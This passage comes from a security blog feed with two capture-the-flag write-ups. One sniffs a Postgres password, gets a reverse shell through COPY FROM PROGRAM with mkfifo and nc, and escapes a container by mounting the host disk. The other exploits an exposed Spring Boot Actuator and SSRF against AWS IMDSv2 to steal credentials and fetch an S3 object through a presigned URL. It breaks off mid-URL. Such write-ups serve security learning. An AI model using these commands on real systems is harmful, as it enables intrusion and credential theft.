&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">U&lt;/span>&lt;span class="p">...&lt;/span>&lt;span class="nx">N&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mf">.0&lt;/span>&lt;span class="nx">Q&lt;/span>&lt;span class="p">....&lt;/span>&lt;span class="nx">SELECT&lt;/span> &lt;span class="nx">now&lt;/span>&lt;span class="p">();.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">07&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">42&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mf">13.737874&lt;/span> &lt;span class="nx">IP&lt;/span> &lt;span class="nx">postgres_db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">user_db_network&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">postgresql&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="nx">a97544bda27&lt;/span>&lt;span class="mf">.39682&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">Flags&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">P&lt;/span>&lt;span class="p">.],&lt;/span> &lt;span class="nx">seq&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">90&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">ack&lt;/span> &lt;span class="mi">20&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">win&lt;/span> &lt;span class="mi">509&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">options&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">nop&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">nop&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">TS&lt;/span> &lt;span class="nx">val&lt;/span> &lt;span class="mi">1317736572&lt;/span> &lt;span class="nx">ecr&lt;/span> &lt;span class="mi">1427675159&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="nx">length&lt;/span> &lt;span class="mi">89&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">E&lt;/span>&lt;span class="p">.....&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="p">.............&lt;/span>&lt;span class="mf">.8&lt;/span>&lt;span class="p">..&lt;/span>&lt;span class="nx">Bp8&lt;/span>&lt;span class="o">?&lt;/span>&lt;span class="p">........&lt;/span>&lt;span class="nx">X&lt;/span>&lt;span class="p">......&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">N&lt;/span>&lt;span class="p">..&lt;/span>&lt;span class="o">|&lt;/span>&lt;span class="nx">U&lt;/span>&lt;span class="p">...&lt;/span>&lt;span class="nx">T&lt;/span>&lt;span class="p">......&lt;/span>&lt;span class="nx">now&lt;/span>&lt;span class="p">...................&lt;/span>&lt;span class="nx">D&lt;/span>&lt;span class="p">...&lt;/span>&lt;span class="err">&amp;#39;&lt;/span>&lt;span class="p">......&lt;/span>&lt;span class="mi">2025&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">08&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">02&lt;/span> &lt;span class="mi">07&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">42&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mf">13.737742&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="nx">C&lt;/span>&lt;span class="p">....&lt;/span>&lt;span class="nx">SELECT&lt;/span> &lt;span class="mf">1.&lt;/span>&lt;span class="nx">Z&lt;/span>&lt;span class="p">....&lt;/span>&lt;span class="nx">I&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">07&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">42&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mf">13.737886&lt;/span> &lt;span class="nx">IP&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="nx">a97544bda27&lt;/span>&lt;span class="mf">.39682&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="nx">postgres_db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">user_db_network&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">postgresql&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">Flags&lt;/span> &lt;span class="p">[.],&lt;/span> &lt;span class="nx">ack&lt;/span> &lt;span class="mi">90&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">win&lt;/span> &lt;span class="mi">501&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">options&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nx">nop&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">nop&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nx">TS&lt;/span> &lt;span class="nx">val&lt;/span> &lt;span class="mi">1427675159&lt;/span> &lt;span class="nx">ecr&lt;/span> &lt;span class="mi">1317736572&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="nx">length&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The traffic is unencrypted (insecure defaults!) and there appears to be a couple of queries running every 5 seconds. It could be scheduled via a cron. This means we are on the right track!&lt;/p>
&lt;p>Maybe if we try to break this connection, we could see something interesting? There are a couple of ways to go about doing this:&lt;/p>
&lt;ol>
&lt;li>Using scapy&lt;/li>
&lt;li>&lt;code>tcpkill&lt;/code>&lt;/li>
&lt;/ol>
&lt;p>Using tcpkill is the easiest way.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">root@2ec90dab9eee:/# tcpkill -i eth0 -9 port &lt;span class="m">5432&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">^Z
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">root@2ec90dab9eee: &lt;span class="nb">bg&lt;/span> %1 &lt;span class="c1"># to background the task&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">root@2ec90dab9eee:/# tcpdump -A
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">09:13:02.318439 IP 2ec90dab9eee.54270 &amp;gt; postgres_db.user_db_network.postgresql: Flags &lt;span class="o">[&lt;/span>P.&lt;span class="o">]&lt;/span>, seq 9:70, ack 2, win 502, options &lt;span class="o">[&lt;/span>nop,nop,TS val &lt;span class="m">37975253&lt;/span> ecr 3799587605&lt;span class="o">]&lt;/span>, length &lt;span class="m">61&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">E..q.M@................8.... .......X......
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">.Ct..y.....&lt;span class="o">=&lt;/span>....user.user.database.mydatabase.application_name.psql..
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">09:13:02.319155 IP postgres_db.user_db_network.postgresql &amp;gt; 2ec90dab9eee.54270: Flags &lt;span class="o">[&lt;/span>P.&lt;span class="o">]&lt;/span>, seq 2:11, ack 70, win 509, options &lt;span class="o">[&lt;/span>nop,nop,TS val &lt;span class="m">3799587605&lt;/span> ecr 37975253&lt;span class="o">]&lt;/span>, length &lt;span class="m">9&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">E..&lt;span class="o">=&lt;/span>J.@...X..........8.. ...........X&lt;span class="o">[&lt;/span>.....
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">.y...Ct.R........
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">09:13:02.319180 IP 2ec90dab9eee.54270 &amp;gt; postgres_db.user_db_network.postgresql: Flags &lt;span class="o">[&lt;/span>P.&lt;span class="o">]&lt;/span>, seq 70:100, ack 11, win 502, options &lt;span class="o">[&lt;/span>nop,nop,TS val &lt;span class="m">37975253&lt;/span> ecr 3799587605&lt;span class="o">]&lt;/span>, length &lt;span class="m">30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">E..R.N@....+...........8.... .......Xp.....
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">.Ct..y..p....&lt;span class="o">[&lt;/span>REDACTED PASSWORD&lt;span class="o">]&lt;/span>.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As I suspected, the process tries to re-connect once the connection gets terminated. We find the password to the Postgres DB… AND the db name. Now we have the required details to connect to the DB:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>DB:&lt;/strong> mydatabase&lt;/li>
&lt;li>&lt;strong>Password:&lt;/strong> [REDACTED]&lt;/li>
&lt;li>&lt;strong>User:&lt;/strong> user&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">root@2ec90dab9eee:/# psql -h postgres_db -U user -d mydatabase
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Password &lt;span class="k">for&lt;/span> user user:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">psql &lt;span class="o">(&lt;/span>16.9 &lt;span class="o">(&lt;/span>Ubuntu 16.9-0ubuntu0.24.04.1&lt;span class="o">)&lt;/span>, server 16.8&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Type &lt;span class="s2">&amp;#34;help&amp;#34;&lt;/span> &lt;span class="k">for&lt;/span> help.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">mydatabase&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="c1"># &lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Logged in!&lt;/p>
&lt;p>For arbitrary command execution we can throw a reverse shell to our first container (do remember to background the &lt;code>psql&lt;/code> process and start a Netcat listener using &lt;code>nc -nlvp &amp;lt;PORT&amp;gt;&lt;/code> ) -&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">shell&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">output&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">text&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">COPY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">shell&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">PROGRAM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 172.19.0.2 1337 &amp;gt;/tmp/f&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">Ncat: Connection from 172.19.0.2:39309
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/bin/sh: can&lt;span class="err">&amp;#39;&lt;/span>t access tty&lt;span class="p">;&lt;/span> job control turned off
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">~/data $ id
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Got the reverse shell. Successfully moved laterally!
Now to get out of the container and onto the host.&lt;/p>
&lt;p>We see that we have a shell as &lt;code>postgres&lt;/code> user.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">~/data $ id
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">uid&lt;/span>&lt;span class="o">=&lt;/span>70&lt;span class="o">(&lt;/span>postgres&lt;span class="o">)&lt;/span> &lt;span class="nv">gid&lt;/span>&lt;span class="o">=&lt;/span>70&lt;span class="o">(&lt;/span>postgres&lt;span class="o">)&lt;/span> &lt;span class="nv">groups&lt;/span>&lt;span class="o">=&lt;/span>10&lt;span class="o">(&lt;/span>wheel&lt;span class="o">)&lt;/span>,70&lt;span class="o">(&lt;/span>postgres&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>sudo -l&lt;/code> shows that we can run &lt;code>sudo&lt;/code> without getting a password prompt on all binaries.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">~/data $ sudo -l
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Matching Defaults entries &lt;span class="k">for&lt;/span> postgres on 032c93ff87db:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nv">secure_path&lt;/span>&lt;span class="o">=&lt;/span>/usr/local/sbin&lt;span class="se">\:&lt;/span>/usr/local/bin&lt;span class="se">\:&lt;/span>/usr/sbin&lt;span class="se">\:&lt;/span>/usr/bin&lt;span class="se">\:&lt;/span>/sbin&lt;span class="se">\:&lt;/span>/bin
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Runas and Command-specific defaults &lt;span class="k">for&lt;/span> postgres:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Defaults!/usr/sbin/visudo &lt;span class="nv">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;SUDO_EDITOR EDITOR VISUAL&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">User postgres may run the following commands on 032c93ff87db:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">(&lt;/span>ALL&lt;span class="o">)&lt;/span> NOPASSWD: ALL
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking into our process&amp;rsquo;s capabilities we see that it has all dangerous capabilities (SYS_MODULE,SYS_ADMIN, SYS_PTRACE..).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ capsh --print
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>.. SNIP .. &lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>.. SNIP ..&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let’s exploit &lt;code>SYS_ADMIN&lt;/code> by mounting &lt;code>/dev/vda&lt;/code> to &lt;code>/mnt&lt;/code> and checking the file system.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ mount /dev/vda /mnt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ ls /mnt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ls /mnt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bin
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">boot
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">etc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">flag
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">home
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lib
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lib32
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lib64
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">libx32
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">lost+found
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">media
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mnt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">opt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">overlay
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">proc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rom
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">root
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">run
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sbin
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">srv
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sys
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tmp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">usr
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">var
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It works and we can &lt;code>cat&lt;/code> the flag at &lt;code>/flag&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ cat /mnt/flag
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">WIZ_CTF&lt;span class="o">{&lt;/span>REDACTED&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Perimeter Leak - The Ultimate Cloud Security Championship</title><link>https://zerodaywolf.sh/writeups/tucsc-ch01-perimeter-leak/</link><pubDate>Sat, 05 Jul 2025 12:20:00 +0530</pubDate><description>&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/01-chal-desc.png" alt="">&lt;/p>
&lt;h2 id="initial-discovery">initial discovery&lt;/h2>
&lt;p>The message in the console:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">You&lt;span class="err">&amp;#39;&lt;/span>ve discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">{&lt;/span>&lt;span class="s2">&amp;#34;status&amp;#34;&lt;/span>:&lt;span class="s2">&amp;#34;UP&amp;#34;&lt;/span>&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Running the &lt;code>curl&lt;/code> gives us a basic welcome message.&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/02-curl-output.png" alt="">&lt;/p>
&lt;p>The earlier message did talk about the application being a Spring Boot Actuator. From the &lt;a href="https://docs.spring.io/spring-boot/reference/actuator/index.html#actuator">documentation&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>Spring Boot includes a number of additional features to help you monitor and manage your application when you push it to production. You can choose to manage and monitor your application by using HTTP endpoints or with JMX. Auditing, health, and metrics gathering can also be automatically applied to your application.&lt;/p>&lt;/blockquote>
&lt;p>There must be some endpoints that such an application would expose by default. After a little bit of digging I found a few that looked interesting:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">/actuator/env - Application runtime environment information
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/actuator/mappings - Application&lt;span class="err">&amp;#39;&lt;/span>s request mappings
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s see if these are left public.&lt;/p>
&lt;h2 id="exploring-actuator-endpoints">exploring actuator endpoints&lt;/h2>
&lt;p>Querying them gave me some useful information:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env &lt;span class="p">|&lt;/span> jq .
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/03-bucket-found.png" alt="">&lt;/p>
&lt;p>&lt;strong>Bucket:&lt;/strong> challenge01-470f711&lt;/p>
&lt;p>If you recall the description of the challenge, it indicates that we &lt;em>are&lt;/em> looking for an s3 bucket which contains our flag!&lt;/p>
&lt;p>Let&amp;rsquo;s use the &lt;code>aws&lt;/code> cli to list the objects in this bucket:&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/04-list-challenge-bucket.png" alt="">&lt;/p>
&lt;p>It&amp;rsquo;s a private bucket. We need credentials.&lt;/p>
&lt;p>Looking at the other actuator endpoint:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/mappings &lt;span class="p">|&lt;/span> jq &lt;span class="s1">&amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/05-actuator-mappings.png" alt="">&lt;/p>
&lt;p>It appears we have found the proxy application&amp;rsquo;s endpoint - &lt;code>/proxy&lt;/code> which accepts a parameter &lt;code>url&lt;/code>. Looks like we got ourselves an SSRF.&lt;/p>
&lt;p>Let&amp;rsquo;s check if the proxy is actually working by checking the IP.&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/06-curl-ipv4.png" alt="">&lt;/p>
&lt;p>This is interesting. The &lt;a href="https://owasp.org/www-community/attacks/Server_Side_Request_Forgery">SSRF&lt;/a> works, but the proxy only accepts IPs and requests to &lt;code>*.amazonaws.com&lt;/code>.&lt;/p>
&lt;h2 id="exploiting-ssrf-against-imdsv2">exploiting ssrf against IMDSv2&lt;/h2>
&lt;p>Since the author mentioned that the application is running on AWS, let&amp;rsquo;s hit the IMDS endpoint &lt;code>169.254.169.254&lt;/code> to see if we can fetch the temporary access credentials.&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/07-curl-imds.png" alt="">&lt;/p>
&lt;p>Ah, a 401! This probably means IMDSv2 is enabled. Luckily for us, the previous message said that the proxy passed along headers and request types from the original request. This means we can still exploit the SSRF to gain unauthorized access to the AWS account. Here&amp;rsquo;s a great blog on that - &lt;a href="https://www.yassineaboukir.com/blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2/">https://www.yassineaboukir.com/blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2/&lt;/a>.&lt;/p>
&lt;p>The PUT request to get the metadata token:&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/08-curl-imdsv2.png" alt="">&lt;/p>
&lt;p>All consequent requests to the IMDS endpoint are sent with the &lt;code>x-aws-ec2-metadata-token&lt;/code> header:&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/09-curl-imdsv2-2.png" alt="">&lt;/p>
&lt;p>We can now get the security-credentials for the role attached to the instance:&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/10-curl-imdsv2-3.png" alt="">&lt;/p>
&lt;h2 id="accessing-s3-via-presigned-url">accessing s3 via presigned url&lt;/h2>
&lt;p>Configure it in the AWS CLI and try to get the flag at the prefix &lt;code>private/flag.txt&lt;/code>. It fails:&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/11-s3-ls-bucket.png" alt="">&lt;/p>
&lt;p>It appears a Bucket Policy denies any request coming from a source other than the VPC endpoint to run &lt;code>GetObject&lt;/code> on objects inside the &lt;code>private/&lt;/code> prefix.&lt;/p>
&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/12-bucket-policy.png" alt="">&lt;/p>
&lt;p>We have credentials, but just need to get it through the proxy. There are &lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html#auth-methods-intro">2 ways to express authentication to S3&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>HTTP Authorization Header&lt;/li>
&lt;li>Query string parameters (AKA Presigned URL)&lt;/li>
&lt;/ul>
&lt;p>Since in the &lt;code>curl&lt;/code> request we are already sending an &lt;code>Authorization&lt;/code> header to authenticate to the proxy, we cannot send another to AWS via the proxy. We can create a presigned URL via the temporary role credentials and pass it along to the proxy.&lt;/p>
&lt;p>Create the presigned URL:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">aws s3 presign s3://challenge01-470f711/private/flag.txt --expires-in &lt;span class="m">3600&lt;/span> --region us-east-1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://zerodaywolf.sh/gallery/tucsc-perimeter-leak/13-presign-url.png" alt="">&lt;/p>
&lt;p>Send it through the proxy service:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">curl -s -H &lt;span class="s1">$&amp;#39;Host: challenge01.cloud-champions.com&amp;#39;&lt;/span> -H &lt;span class="s1">$&amp;#39;Authorization: Basic Y3RmOjg4c1BWV3lDMlAzcA==&amp;#39;&lt;/span> &lt;span class="s1">$&amp;#39;https://challenge01.cloud-champions.com/proxy?url=https%3a//challenge01-470f711.s3.us-east-1.amazonaws.com/private/flag.txt%3fX-Amz-Algorithm%3dAWS4-HMAC-SHA256%26X-Amz-Credential%3dASIARK7LBOHXOUAOHHGT%252F20250726%252Fus-east-1%252Fs3%252Faws4_request%26X-Amz-Date%3d20250726T131902Z%26X-Amz-Expires%3d3600%26X-Amz-SignedHeaders%3dhost%26X-Amz-Security-Token%3dIQoJb3JpZ2luX2VjEDUaCXVzLWVhc3QtMSJIMEYCIQDXcSfCyj9InuS2bfRvpwLih0LX3NN6Ol4t66oBYXXDBAIhAIjthVfQc2lR8Ewdz0ng32U0CB44Ouu9815U%252FP7XrC%252BXKrgFCF0QABoMMDkyMjk3ODUxMzc0IgyNtQ8rpsace4R67pMqlQXU2Vu4KHaLYNYo77C%252F2dyaCpA5JejPBCLAZTIDwAAm0AhFs0gftVEip%252FzVTtE3S4Fmcimh%252F46MTiTgaSNpb2ppTw0IWB%252BbsG505amvApXE4acnTSVgUd%252BPrMINqusejAMOujn25UiuFNRNEK%252BXhpOokON656ZJMXWSegRfvto3UVqR16spi6zKl3%252BwI7FD4wYtWFsnLuS%252BLVFAE6xBjFWr%252F8o1ta71XsMSHv6pSnGXODhCOYZPZMahpIWQde3jh0vqv65hGAoT%252FjK5cJHazZhVtWfikYb%252F2CEEh8WMY%252FBfpy2xmvn%252FjqkPF4sncwL85E0lSgMAlIP7i7MJbUvz57kpI9kUQNl2b9D49QJcA0YubQi%252BCPlw7z%252FcddN1kzqXWg%252FA9DqD8NHn5sgA1EvyWQ4y4nPt6mbJdy2odvO5jyR%252B%252F4s5WPBvfnN7mJCngPDcjvXgsSM9W%252FxRupqZzC0fuVnDVo6%252BKZ2Eof8DjCM%252FaV%252BlQHz%252FwMOYJLSC5eyrmIvNV2tRDeyWaIHcLTWFHUGwx%252F6d2V0Dgw7OtI6iFoU5otc0a0UVttjmfaaKJcHxuWnKSAXMiQL0gMxAZp8qYydtCIgyF2AYEQk1pajPgdxVu7pv0Pv4b1goyTxy8WjYaX8M0mhsKRe0tDsS%252Fm3lHhtIDWPpL7IdLtWptDDK63%252B85a9eNkQE7%252F7g0sPHB8E3RBFbAvPtzDoUrlhCr93eO8nKoxPwlKXCEEkEYTSHdnFoA0%